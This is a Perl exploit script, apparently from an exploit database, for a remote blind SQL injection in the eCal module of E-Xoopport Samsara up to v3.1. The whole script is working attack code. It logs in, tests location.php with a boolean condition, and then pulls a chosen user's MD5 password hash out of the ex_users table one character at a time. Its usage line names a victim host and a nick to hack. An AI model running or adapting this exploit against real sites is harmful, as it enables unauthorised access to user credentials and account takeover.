#!/usr/bin/perl
# [0-Day] E-Xoopport - Samsara <= v3.1 (eCal module) Remote Blind SQL Injection Exploit
# Author/s: _mRkZ_, WaRWolFz Crew
# Created: 2010.09.12 after 0 days the bug was discovered.
# Greetings To: Dante90, Shaddy, StutM, WaRWolFz Crew
# Web Site: www.warwolfz.org

use strict;
use warnings;
use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common;

$^O eq 'MSWin32' ? system('cls') : system('clear');

print "

E-Xoopport - Samsara <= v3.1 (eCal Module) Remote Blind SQL Injection Exploit

+---------------------------------------------------+
| Script: E-Xoopport                                |
| Affected versions: 3.1                            |
| Bug: Remote Blind SQL Injection (eCal module)     |
| Author/s: _mRkZ_, WaRWolFz Crew                   |
| Greetz: Dante90, Shaddy, StutM, WarWolFz Crew     |
| Web Site: www.warwolfz.org                        |
+---------------------------------------------------+
| Warn: You must be able to access to 'eCal' Module |
+---------------------------------------------------+
\r\n";

if (@ARGV != 4) {
  print "\r\nUsage: perl expolit_name.pl <VictimeHost> <YourNick> <YourPass> <NickToHack>\r\n";
  exit;
}

my $host    = $ARGV[0];
my $usr     = $ARGV[1];
my $pwd     = $ARGV[2];
my $anickde = $ARGV[3];
my $anick   = '0x'.EncHex($anickde);

print "[!] Logging In...\r\n";

my %postdata = (
  uname => "$usr",
  pass => "$pwd",
  op => "login"
);
my $cookies = HTTP::Cookies->new(
  autosave => 1,
);

my $ua = LWP::UserAgent->new;
$ua->agent("Mozilla 5.0");
$ua->cookie_jar($cookies);

my $req    = (POST $host."/user.php", \%postdata);
my $request  = $ua->request($req);
my $content  = $request->content;
if ($content =~ /<h4>Benvenuto su/i) {
  print "[+] Logged in!\r\n";
} else {
  print "[-] Fatal Error: username/password incorrect?\r\n";
  exit;
}

print "[!] Checking permissions...\r\n";
$ua = LWP::UserAgent->new;
$ua->agent("Mozilla 5.0");
$req = $host."/modules/eCal/location.php?lid=1+AND+1=1";
$ua->cookie_jar($cookies);
$request  = $ua->get($req);
$content  = $request->content;
if ($content !~ /<b>Eventi nella località: <\/b>/ig) {
  print "[+] Fatal Error: Access denied\r\n";
  exit;
} else {
  print "[+] You have permissions\r\n";
}

print "[!] Exploiting...\r\n";
my $i = 1;
my $pwdchr;
while ($i != 33) {
  my $wn  = 47;
  while (1) {
    $wn++;
    my $ua = LWP::UserAgent->new;
    $ua->agent("Mozilla 5.0");
    my $req    = $host."/modules/eCal/location.php?lid=1+AND+ascii(substring((SELECT+pass+FROM+ex_users+WHERE+uname=$anick+LIMIT+0,1),$i,1))=$wn";
    $ua->cookie_jar($cookies);
    my $request  = $ua->get($req);
    my $content  = $request->content;
    open LOGZZ, '>lol.html';
    print LOGZZ $content;
    close LOGZZ;
    if ($content !~ /<b>Eventi nella località: <\/b><a href='localleve\.php\?lid='>/ig) {
      my $cnt = $1;
      $pwdchr .= chr($wn);
      $^O eq 'MSWin32' ? system('cls') : system('clear');
      PrintChars($anickde, $pwdchr);
      last;
    }
  }
  $i++;
}

print "\r\n[!] Exploiting completed!\r\n\r\n";
print "Visit: www.warwolfz.org\r\n\r\n";

sub PrintChars {
  my $anick1 = $_[0];
  my $chars = $_[1];
print "

E-Xoopport - Samsara <= v3.1 (eCal module) Remote Blind SQL Injection Exploit

+---------------------------------------------------+
| Script: E-Xoopport                                |
| Affected versions: 3.1                            |
| Bug: Remote Blind SQL Injection (eCal module)     |
| Author/s: _mRkZ_, WaRWolFz Crew                   |
| Greetz: Dante90, Shaddy, StutM, WarWolFz Crew     |
| Web Site: www.warwolfz.org                        |
+---------------------------------------------------+
| Warn: You must be able to access to 'eCal' Module |
+---------------------------------------------------+

[!] Logging In...
[+] Logged in!
[!] Checking permissions...
[+] You have permissions
[!] Exploiting...
[+] ".$anick1."'s md5 Password: ".$chars."
";
}

sub EncHex {
  my $char = $_[0];
  chomp $char;
  my @trans = unpack("H*", "$char");
  return $trans[0];
}


#[Unit-X] Vuln-X DB 2010.09.21